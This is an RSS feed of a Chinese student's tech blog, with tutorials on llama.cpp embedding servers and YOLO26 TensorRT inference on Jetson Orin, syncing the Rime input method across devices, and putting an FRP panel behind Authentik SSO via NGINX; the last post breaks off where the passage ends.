<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Shattered217のBlog</title><description>一个在校大学生的个人技术博客，可能包含高性能计算、边缘计算、路由交换、模型、云，亦或是杂七杂八~的教程指南</description><link>https://nvcc-v.com/</link><language>zh_CN</language><item><title>Jetson Orin 部署 OpenClaw 开启 Memory Search</title><link>https://nvcc-v.com/2026/06/14/jetson-orin-openclaw-memory/</link><guid isPermaLink="true">https://nvcc-v.com/2026/06/14/jetson-orin-openclaw-memory/</guid><description>在 Jetson Orin 上自编译带 CUDA 支持的 llama.cpp，为 OpenClaw Memory Search 部署本地向量模型服务并验证 GPU 推理。</description><pubDate>Sun, 14 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;主播最近把小龙虾迁移到 Orin NX 上了，然后发现小龙虾的记忆搜索功能依托的是 node.llama.cpp，但是在 ARM 设备上编译出的产物似乎不支持 CUDA 加速，故决定自编译以支持高性能计算推理&lt;/p&gt;
&lt;h2&gt;编译llama.cpp&lt;/h2&gt;
&lt;p&gt;键入以下命令拉取最新源码并编译llama相关的二进制可执行程序&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt-get update
apt-get install pciutils build-essential cmake curl libcurl4-openssl-dev -y
git clone https://github.com/ggml-org/llama.cpp

cmake -S llama.cpp -B llama.cpp/build \
    -DCMAKE_BUILD_TYPE=Release \
    -DBUILD_SHARED_LIBS=OFF \
    -DGGML_CUDA=ON \
    -DCMAKE_CUDA_ARCHITECTURES=87 \
    -DLLAMA_CURL=ON \
    -DLLAMA_SERVER=ON

cmake --build llama.cpp/build -j$(nproc) \
    --target llama-cli llama-gguf-split llama-server
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;复制程序到工作区便于使用，以及下载模型&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir -p llama-ws
cp llama.cpp/build/bin/llama-* llama-ws

wget -O llama-ws/embeddinggemma-300m-qat-Q8_0.gguf \
  &quot;https://huggingface.co/ggml-org/embeddinggemma-300m-qat-q8_0-GGUF/resolve/main/embeddinggemma-300m-qat-Q8_0.gguf&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;推理模型&lt;/h2&gt;
&lt;p&gt;进入工作区运行命令推理即可，然后可以让小龙虾写一个 systemctl 启动项，方便管理，并让它自己把记忆搜索的服务接入 http://127.0.0.1:8080 这个端点就行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd llama-ws
./llama-server --model /home/ros/llama.cpp/embeddinggemma-300m-qat-Q8_0.gguf --embedding --n-gpu-layers 99 --batch-size 1024 --ubatch-size 1024 --cache-ram 0 --host 127.0.0.1 --port 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/06/1781372250-image-1024x976.png&quot; alt=&quot;推理模型 - Jetson Orin 部署 OpenClaw 开启 Memory Search 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当然如果你实在想自己接 大概就是这样（ 位于文件 openclaw.json 的 agent.defaults 字段下面&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;memorySearch&quot;: {
        &quot;enabled&quot;: true,
        &quot;sources&quot;: [
          &quot;memory&quot;,
          &quot;sessions&quot;
        ],
        &quot;provider&quot;: &quot;openai-compatible&quot;,
        &quot;fallback&quot;: &quot;none&quot;,
        &quot;remote&quot;: {
          &quot;baseUrl&quot;: &quot;http://127.0.0.1:8080/v1&quot;,
          &quot;apiKey&quot;: &quot;llama-local&quot;
        },
        &quot;model&quot;: &quot;embeddinggemma-300m-qat-Q8_0.gguf&quot;
      }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;设置 1024 的 batchsize 基本能够使用，如果不够后面自己再调大吧，运行占用如下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/06/1781372551-image-1024x822.png&quot; alt=&quot;推理模型 - Jetson Orin 部署 OpenClaw 开启 Memory Search 操作截图 2&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Jetson Python环境优雅链接系统包</title><link>https://nvcc-v.com/2026/06/09/jetson-python-uv-system-site-packages/</link><guid isPermaLink="true">https://nvcc-v.com/2026/06/09/jetson-python-uv-system-site-packages/</guid><description>在 Jetson 上使用 uv 的 --system-site-packages 参数，让虚拟环境调用系统 Python 包并复用 TensorRT 等组件。</description><pubDate>Tue, 09 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;最近煮包的 Orin NX 更新了最新的 Jetpack7.2，但在构建 TensorRT Python 包的时候出现了问题，官方似乎删掉了build.sh 这个关键的脚本文件，在网上搜索的时候突然发现 uv 其实自带链接系统包的功能，不需要自己手动硬链接了，命令如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uv venv .venv --python 3.12 --system-site-packages
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;验证情况&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uv run python -c &quot;import tensorrt as trt; print(trt.__version__)&quot;
uv run python3 -c &quot;import cv2; print(cv2.__version__); print(cv2.cuda.getCudaEnabledDeviceCount())&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/06/1780993911-image.png&quot; alt=&quot;Jetson Python环境优雅链接系统包 操作截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到虚拟环境并没有安装任何包，但是 trt 和 opencv 都是可用的&lt;/p&gt;
&lt;p&gt;（但是 PyTorch 还是需要自己编译啊，因为系统不自带，需要的可以参考我之前的文章，试了一下基本都还是可用的）&lt;/p&gt;
</content:encoded></item><item><title>Rime 雾凇拼音 多端配置及同步 Win-Android-iOS</title><link>https://nvcc-v.com/2026/03/18/rime-ice-pinyin-multi-device-setup-sync/</link><guid isPermaLink="true">https://nvcc-v.com/2026/03/18/rime-ice-pinyin-multi-device-setup-sync/</guid><description>在 Windows、Android 与 iOS 上配置雾凇拼音，并通过 WebDAV 和自动化脚本同步用户词库。</description><pubDate>Wed, 18 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;由于受够了某🐶拼音输入法长期窥探隐私，内存占用过大，Win 端捆绑软件多等问题，故痛定思痛决定抛弃用了数十年的词库转头选择开源输入法 Rime。（实际扔了后发现也没什么大不了的 😐&lt;/p&gt;
&lt;h2&gt;关于 Rime&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Rime (核心)：&lt;/strong&gt; 是一套强大的开源输入法框架，它本身不直接写字，只负责“怎么把拼音变成汉字”的逻辑。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;各端软件 (前端/壳)：&lt;/strong&gt; 为了让你在不同设备上用 Rime，开发者做了不同的壳。Windows 上叫&lt;strong&gt;小狼毫 (Weasel)&lt;/strong&gt;，macOS 上叫&lt;strong&gt;鼠须管 (Squirrel)&lt;/strong&gt;，Linux 上常用 &lt;strong&gt;Fcitx5-Rime&lt;/strong&gt;，安卓上则是&lt;strong&gt;小企鹅输入法&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;雾凇拼音 (配置/词库)：&lt;/strong&gt; Rime 刚装好时几乎是“白纸”一张，词库单薄且不好用。&lt;strong&gt;雾凇&lt;/strong&gt;是目前最火的一套现成的“装修方案”，它提供了极其强大的词库和聪明的纠错规则，把 Rime 瞬间武装成一个输入法利器。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Windows 端&lt;/h2&gt;
&lt;p&gt;这是 Rime 输入法的&lt;a href=&quot;https://rime.im/download/&quot;&gt;下载官网&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;我们先从 Windows 开始，下载小狼毫输入法后安装，最好指定用户文件夹，方便我们管理个人配置，其余暂时不用管，等会都会配置的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/03/1773795622-image.png&quot; alt=&quot;Windows 端 - Rime 雾凇拼音 多端配置及同步 Win-Android-iOS 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入刚刚配置的用户文件夹一键删除配置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/03/1773796047-image-1024x553.png&quot; alt=&quot;Windows 端 - Rime 雾凇拼音 多端配置及同步 Win-Android-iOS 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;安装 雾凇拼音，即下载最新的 &lt;a href=&quot;https://github.com/iDvel/rime-ice/releases&quot;&gt;release&lt;/a&gt; 中的 full.zip 解压到个人文件夹（亦或是git clone也可以）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/03/1773796190-image-1024x556.png&quot; alt=&quot;Windows 端 - Rime 雾凇拼音 多端配置及同步 Win-Android-iOS 操作截图 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;右键输入法选择重新部署后等待一会&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/03/1773796296-image.png&quot; alt=&quot;Windows 端 - Rime 雾凇拼音 多端配置及同步 Win-Android-iOS 操作截图 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入 输入法设定，仅保留 雾凇拼音，然后再重新部署一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/03/1773796357-image.png&quot; alt=&quot;Windows 端 - Rime 雾凇拼音 多端配置及同步 Win-Android-iOS 操作截图 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来我们要编辑用户目录下的 installation.yaml 的 installation_id 字段为自己电脑的名字以配置同步（主要是方便识别），保存后再重新部署一下然后点击 用户资料同步&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/03/1773796525-image.png&quot; alt=&quot;Windows 端 - Rime 雾凇拼音 多端配置及同步 Win-Android-iOS 操作截图 6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后你会发现在目录下多了个 sync 的文件夹，里面有你的个性化配置，我们需要把这个配置分发出去，同时也需要把其他客户端的同步配置复制进来，Rime 会自动处理并合并多端的配置/词库&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/03/1773796632-image-1024x359.png&quot; alt=&quot;Windows 端 - Rime 雾凇拼音 多端配置及同步 Win-Android-iOS 操作截图 7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我的同步方案是基于 Openlist-WebDAV，没有的小伙伴可以去领取支持 WebDAV 的免费对象存储（网上很多），也可以达到相同的效果。&lt;/p&gt;
&lt;p&gt;由于本人用 Win 端较多，所以脚本主要是围绕 Win 端进行，即 Win 端会通过定时任务拉取多端的配置进行合并，以此保证词库最新，所以别的端只需要拉取一次 Win 端的压缩包就可以了。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/Shattered217/RIME-Sync-Script/raw/refs/heads/main/Rime_Sync_Windows.ps1&quot;&gt;PowerShell 脚本&lt;/a&gt; （可以加入计划任务每天自动同步）&lt;/p&gt;
&lt;h2&gt;安卓端&lt;/h2&gt;
&lt;p&gt;安卓端客户端推荐 &lt;a href=&quot;https://github.com/BryceWG/BiBi-Keyboard&quot;&gt;说点啥&lt;/a&gt;+&lt;a href=&quot;https://github.com/BryceWG/fcitx5-android-bibi-keyboard&quot;&gt;改版小企鹅输入法&lt;/a&gt;+&lt;a href=&quot;https://github.com/fcitx5-android/fcitx5-android/releases&quot;&gt;Rime 插件&lt;/a&gt;(plugin.rime)，前者是语音转文字软件（还有剪切板同步功能），后者小企鹅输入法是 Rime 在安卓上的前端实现，但是说点啥的作者给其加了补丁，长按空格可以联动 说点啥 触发语音转文字，让我们在安卓上输入更优雅&lt;/p&gt;
&lt;p&gt;安装 小企鹅输入法 和 Rime插件（下载一般选 armv8_64 ）后会显示插件已加载&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/03/1773802813-image.png&quot; alt=&quot;安卓端 - Rime 雾凇拼音 多端配置及同步 Win-Android-iOS 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/03/1773802594-image.png&quot; alt=&quot;安卓端 - Rime 雾凇拼音 多端配置及同步 Win-Android-iOS 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后我们也需要配置 雾凇拼音，即&lt;a href=&quot;https://github.com/iDvel/rime-ice/releases&quot;&gt;下载 full.zip&lt;/a&gt; 到 /storage/emulated/0/Android/data/org.fcitx.fcitx5.android/files/data/rime 并解压&lt;/p&gt;
&lt;p&gt;然后返回 小企鹅输入法 的配置页面，进入 输入法，删掉里面自带的 拼音，添加 中州韵&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/03/1773803541-image.png&quot; alt=&quot;安卓端 - Rime 雾凇拼音 多端配置及同步 Win-Android-iOS 操作截图 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后在点击一个对话框进入输入法页面 点击三个点进入 配置页面，点击 雾凇拼音-重新部署 即可享用，后面用到的 同步 按钮也在这里&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/03/1773803453-image.png&quot; alt=&quot;安卓端 - Rime 雾凇拼音 多端配置及同步 Win-Android-iOS 操作截图 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;现在我们来配置安卓端的同步（暂时需要 Root 权限）&lt;/p&gt;
&lt;p&gt;修改 installation_id 为手机型号便于识别，文件位于 /storage/emulated/0/Android/data/org.fcitx.fcitx5.android/files/data/rime/installation.yaml&lt;/p&gt;
&lt;p&gt;然后我们只要再写一个同步脚本即可实现数据互通（注意 安卓端脚本无法实现调用软件接口同步，所以需要自己在运行脚本前后手动点击同步）&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/Shattered217/RIME-Sync-Script/raw/refs/heads/main/Rime_Sync_Android.sh&quot;&gt;安卓脚本链接&lt;/a&gt;（推荐使用 MT-管理器 并且勾选 使用 Root 权限执行）&lt;/p&gt;
&lt;h2&gt;iPad/iOS 端&lt;/h2&gt;
&lt;p&gt;iOS 端已经内置了雾凇拼音，故我们仅需要在 APP Store 下载 &lt;a href=&quot;https://apps.apple.com/cn/app/%E4%BB%93%E8%BE%93%E5%85%A5%E6%B3%95/id6446617683&quot;&gt;Hamster&lt;/a&gt; ，需要配置的点如下&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;输入方案设置 - 保留 雾凇拼音 和 Easy English Nano&lt;/li&gt;
&lt;li&gt;RIME - 同步文件夹名称（例如iPad）&lt;/li&gt;
&lt;li&gt;RIME - 选择同步路径 - 推荐：我的iPad/Hamster/Share&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;同步方面我们使用快捷指令可以优雅地一键完成&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/Shattered217/RIME-Sync-Script/raw/refs/heads/main/Rime%E5%90%8C%E6%AD%A5-%E5%85%B1%E4%BA%AB.shortcut&quot;&gt;共享链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;需要修改的点如下&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;共享文件夹选择实际导出的同步文件夹&lt;/li&gt;
&lt;li&gt;WebDAV 链接按实际填写&lt;/li&gt;
&lt;li&gt;替换 WebDAV 密钥为 Base64 编码 进入 &lt;a href=&quot;https://www.toolhelper.cn/EncodeDecode/Base64&quot;&gt;Base64在线编码网站&lt;/a&gt; 在上方填入 账户:密码，生成的就是密钥，如admin:123为YWRtaW46MTIz，生成出来的密码替换掉xxxx，注意前面的Basic和空格均要保留&lt;/li&gt;
&lt;li&gt;子路径按实际添加&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/03/1773806914-f82306b39ab682c7cb1c119eb3be41e3_720-1024x711.png&quot; alt=&quot;iPad/iOS 端 - Rime 雾凇拼音 多端配置及同步 Win-Android-iOS 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/03/1773806917-9e9d8ed237e4012e770bfe352dec4fe8_720-1024x711.png&quot; alt=&quot;iPad/iOS 端 - Rime 雾凇拼音 多端配置及同步 Win-Android-iOS 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;二遍：&lt;/p&gt;
&lt;p&gt;本人后续换了 iPhone，实测 元书输入法 用起来似乎更顺手一点（本身 元书 和 仓 也都是一个作者做的），如果大家想体验的话其实也只需要把快捷指令中 仓 的同步换成 元书 的同步就可以了（当然路径也要修改），整体是大差不差的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/03/1780901825-image-466x1024.png&quot; alt=&quot;iPad/iOS 端 - Rime 雾凇拼音 多端配置及同步 Win-Android-iOS 操作截图 3&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>FRP 面板(Basic Auth)接入 Authentik 单点登录指南</title><link>https://nvcc-v.com/2026/01/23/frp-panel-authentik-sso-guide/</link><guid isPermaLink="true">https://nvcc-v.com/2026/01/23/frp-panel-authentik-sso-guide/</guid><description>通过 Authentik Proxy Provider 与 NGINX 为带 Basic Auth 的 FRP 面板接入单点登录，包含应用、Outpost 和反向代理配置。</description><pubDate>Fri, 23 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;由于 FRP Panel 使用的是 Basic Auth 来鉴权，然后 Bitwarden 无法自动填充密码，自己输感觉很麻烦，就想着能不能接入 Authentik 来实现无感认证（结果折腾的时间够我输一万次了bushi）&lt;/p&gt;
&lt;h2&gt;Authentik 端配置&lt;/h2&gt;
&lt;p&gt;首先先在 Providers 处添加一个 Proxy Provider&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1769157944-image-1024x520.png&quot; alt=&quot;Authentik 端配置 - FRP 面板(Basic Auth)接入 Authentik 单点登录指南 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;名称 FRP Proxy&lt;/li&gt;
&lt;li&gt;授权流程 default-provider-authorization-implicit-consent (Authorize Application)&lt;/li&gt;
&lt;li&gt;外部主机（你的FRP面板地址） https://frp.example.com&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1769167090-image-1024x537.png&quot; alt=&quot;Authentik 端配置 - FRP 面板(Basic Auth)接入 Authentik 单点登录指南 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这边可以全选作用域（可能用不上，但是全选总没错）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1769167235-image-1024x604.png&quot; alt=&quot;Authentik 端配置 - FRP 面板(Basic Auth)接入 Authentik 单点登录指南 操作截图 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;身份验证设置可以保持默认（不要在这边填写 Basic Auth，等会会让 NGINX 处理账户密码这部分，或者你可以试试，反正主播搞不定），联邦式 OIDC 提供程序可以把 FRP Proxy 选上&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1769167349-image-1024x760.png&quot; alt=&quot;Authentik 端配置 - FRP 面板(Basic Auth)接入 Authentik 单点登录指南 操作截图 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后在 Application 处创建，名称 FRP Dash，提供程序选择刚刚创建的 FRP Proxy，策略引擎模式选择 ALL&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1769167544-image-1024x678.png&quot; alt=&quot;Authentik 端配置 - FRP 面板(Basic Auth)接入 Authentik 单点登录指南 操作截图 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后在 Outposts 处编辑 authentik Embedded Outpost，把 FRP Dash 选上，还要保证下面的 authentik_host 是外网可访问的地址&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1769167640-image-1024x844.png&quot; alt=&quot;Authentik 端配置 - FRP 面板(Basic Auth)接入 Authentik 单点登录指南 操作截图 6&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;NGINX 配置&lt;/h2&gt;
&lt;p&gt;在终端中输入获取你的账户:密码的 base64 形式，例如这样 5L2g55qE6LSm5oi3OuS9oOeahOWvhueggQ==，然后根据注释修改 NGINX 配置即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo -n &quot;你的账户:你的密码&quot; | base64
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;map $http_upgrade $connection_upgrade_keepalive {
    default upgrade;
    &apos;&apos;      &apos;&apos;;
}

server {
    listen 443 ssl http2;
    server_name frp.example.com; # 配置域名

    # 配置证书
    ssl_certificate     /root/.acme.sh/xxx;
    ssl_certificate_key /root/.acme.sh/xxx;

    proxy_buffer_size          128k;
    proxy_buffers              4 256k;
    proxy_busy_buffers_size    256k;

    location / {
        auth_request /authentik-verify;
        error_page 401 = @goauthentik_proxy_signin;

        # 配置刚刚生成的 base64 密钥
        set $fixed_auth &quot;Basic 5L2g6Kej5a+G5LqG5oOz5bmy5ZibT3ZP&quot;;
        proxy_set_header Authorization $fixed_auth;

        auth_request_set $auth_cookie $upstream_http_set_cookie;
        add_header Set-Cookie $auth_cookie;

        # 这是 FRP Dash 的端口，默认 7500
        proxy_pass http://127.0.0.1:7500;
        proxy_set_header Host 127.0.0.1;

        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }

    location = /authentik-verify {
        internal;
        # 替换你的 Authentik 域名
        proxy_pass              https://sso.example.com/outpost.goauthentik.io/auth/nginx;

        # 替换你的 Authentik 域名
        proxy_set_header        Host sso.example.com;
        proxy_set_header        X-Forwarded-Host $http_host;
        proxy_set_header        X-Original-URL $scheme://$http_host$request_uri;

        proxy_pass_request_body off;
        proxy_set_header        Content-Length &quot;&quot;;
    }

    location /outpost.goauthentik.io {
        # 替换你的 Authentik 域名
        proxy_pass              https://sso.example.com/outpost.goauthentik.io;

        # 替换你的 Authentik 域名
        proxy_set_header        Host sso.example.com;
        proxy_set_header        X-Forwarded-Host $http_host;
        proxy_set_header        X-Original-URL $scheme://$http_host$request_uri;

        add_header              Set-Cookie $auth_cookie;
        auth_request_set        $auth_cookie $upstream_http_set_cookie;
        proxy_pass_request_body off;
        proxy_set_header        Content-Length &quot;&quot;;
    }

    location @goauthentik_proxy_signin {
        internal;
        add_header Set-Cookie $auth_cookie;
        return 302 /outpost.goauthentik.io/start?rd=$scheme://$http_host$request_uri;
    }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>在 Jetson 上通过容器 trt 推理 YOLO26 指南</title><link>https://nvcc-v.com/2026/01/17/jetson-container-trt-yolo26-inference-guide/</link><guid isPermaLink="true">https://nvcc-v.com/2026/01/17/jetson-container-trt-yolo26-inference-guide/</guid><description>在 Jetson 上使用 jetson-containers 构建 PyTorch 与 TensorRT 环境，完成 YOLO26 导出和 TensorRT 推理验证。</description><pubDate>Sat, 17 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;上篇&lt;a href=&quot;/2026/01/17/yolo26-jetson-orin-tensorrt-inference/&quot;&gt;教程&lt;/a&gt;是通过虚拟环境来管理环境，这篇教程尝试通过容器技术来构建高大全的镜像以此来推理 YOLO&lt;/p&gt;
&lt;h2&gt;构建容器&lt;/h2&gt;
&lt;p&gt;注意煮包的运行环境是 JetPack 6.2.1 [L4T 36.4.7]，如果不符需要寻找适合自己的镜像 JP&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 查看 L4T 版本
cat /etc/nv_tegra_release
jetson_release
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;示例如下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1768638436-image-1024x526.png&quot; alt=&quot;构建容器 - 在 Jetson 上通过容器 trt 推理 YOLO26 指南 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果 L4T [&apos;&amp;gt;=35&apos;] 前往 &lt;a href=&quot;https://github.com/dusty-nv/jetson-containers/tree/master/packages/ml/pytorch&quot;&gt;jetson-containers/packages/pytorch at master · dusty-nv/jetson-containers&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;如果 L4T [&apos;&amp;lt;=35&apos;] 前往 &lt;a href=&quot;https://github.com/dusty-nv/jetson-containers/tree/master/packages/ml/l4t/l4t-pytorch&quot;&gt;jetson-containers/packages/ml/l4t/l4t-pytorch at master · dusty-nv/jetson-containers&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;根据文档的要求选择适合的镜像，使用以下代码来运行，例如匹配我的版本是 2.7-r36.4.0&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 安装容器工具
git clone https://github.com/dusty-nv/jetson-containers
bash jetson-containers/install.sh

# 指定版本拉取并运行容器
jetson-containers run dustynv/pytorch:2.7-r36.4.0

# 自动选择适合的镜像
jetson-containers run $(autotag pytorch)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果没找到合适的镜像进行 build 的话可能会遇到以下报错，原因是 Jetson Orin （或更老）上的 docker 不支持 --gpus=all 这个参数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1768638805-image-1024x579.png&quot; alt=&quot;构建容器 - 在 Jetson 上通过容器 trt 推理 YOLO26 指南 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选择自己喜欢的文件编辑器修改 /etc/docker/daemon.json，在 &quot;default-runtime&quot; 和 &quot;runtimes&quot; 字段中与下面保持一致，然后重新 build，放心，优秀的 docker 有缓存机制，会自中断点后构建，不会重来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;default-runtime&quot;: &quot;nvidia&quot;,
    &quot;runtimes&quot;: {
        &quot;nvidia&quot;: {
            &quot;path&quot;: &quot;nvidia-container-runtime&quot;,
            &quot;runtimeArgs&quot;: []
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;推理 YOLO&lt;/h2&gt;
&lt;p&gt;等待拉取完成后就会进入容器的命令交互界面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1768645543-image-1024x579.png&quot; alt=&quot;推理 YOLO - 在 Jetson 上通过容器 trt 推理 YOLO26 指南 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir -p /root/yolo
cd /root/yolo

apt-get update &amp;amp;&amp;amp; apt-get install -y libgl1 libglib2.0-0
pip3 install ultralytics -i https://pypi.tuna.tsinghua.edu.cn/simple
pip3 install &quot;numpy&amp;lt;2&quot; &quot;opencv-python&amp;lt;4.10&quot; -i https://pypi.tuna.tsinghua.edu.cn/simple
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;验证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;yolo check
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2026/01/1768646743-image.png&quot; alt=&quot;推理 YOLO - 在 Jetson 上通过容器 trt 推理 YOLO26 指南 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用 Pytorch 推理&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;yolo predict model=yolo26n.pt source=&apos;https://ultralytics.com/images/bus.jpg&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Speed: 6.1ms preprocess, 143.9ms inference, 15.2ms postprocess per image at shape (1, 3, 640, 480)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;构建 TensorRT 推理引擎&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip3 install onnxslim -i https://pypi.tuna.tsinghua.edu.cn/simple
yolo export model=yolo26n.pt format=engine half=True device=0
# onnxruntime 报错不用管
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;推理引擎&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;yolo predict task=detect model=yolo26n.engine source=&apos;https://ultralytics.com/images/bus.jpg&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Speed: 6.4ms preprocess, 5.2ms inference, 13.4ms postprocess per image at shape (1, 3, 640, 640)&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Jetson Orin 使用 TensorRT 推理 YOLO26</title><link>https://nvcc-v.com/2026/01/17/yolo26-jetson-orin-tensorrt-inference/</link><guid isPermaLink="true">https://nvcc-v.com/2026/01/17/yolo26-jetson-orin-tensorrt-inference/</guid><description>在 Jetson Orin 上配置 PyTorch 与 TensorRT 环境，将 YOLO26 导出为 TensorRT 引擎并完成推理验证。</description><pubDate>Sat, 17 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;引&lt;/h2&gt;
&lt;p&gt;还在为边缘端推理掉帧而头疼？YOLO26 + Jetson Orin 或许是目前的终极解决方案。支持全链路量化加速，专为边缘侧算力优化。不用改底层代码，几行命令实现 TensorRT 加速——极简的 YOLO 部署指南。&lt;/p&gt;
&lt;h2&gt;搭建环境&lt;/h2&gt;
&lt;p&gt;YOLO26 的推理需要 PyTorch（带 CUDA ）和 ultralytics 的包，关于前者可以参考我之前的自编译教程&lt;/p&gt;
&lt;blockquote&gt;
